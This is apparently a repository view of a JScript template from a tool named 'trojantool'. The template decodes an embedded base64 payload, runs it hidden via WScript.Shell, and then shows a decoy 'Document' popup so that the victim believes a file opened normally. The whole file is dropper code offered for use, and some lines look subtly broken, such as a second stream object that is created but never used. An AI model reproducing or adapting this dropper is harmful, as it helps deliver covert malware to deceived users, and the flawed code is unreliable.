trojantool/cmd/jscript.gojs

19 lines
421 B
Plaintext
Raw Normal View History

2023-08-10 21:42:41 +02:00
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Write(window.atob({{.Encoded}}));
var bytes = stream.Read();
var shell = new ActiveXObject("WScript.Shell");
shell.Run(bytes, 0, false);
var stream2 = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Write(window.atob({{.EncodedDecoy}}));
var bytes = stream.Read();
shell.Popup(bytes, 0, "Document", 0x40);
// vim: syntax=javascript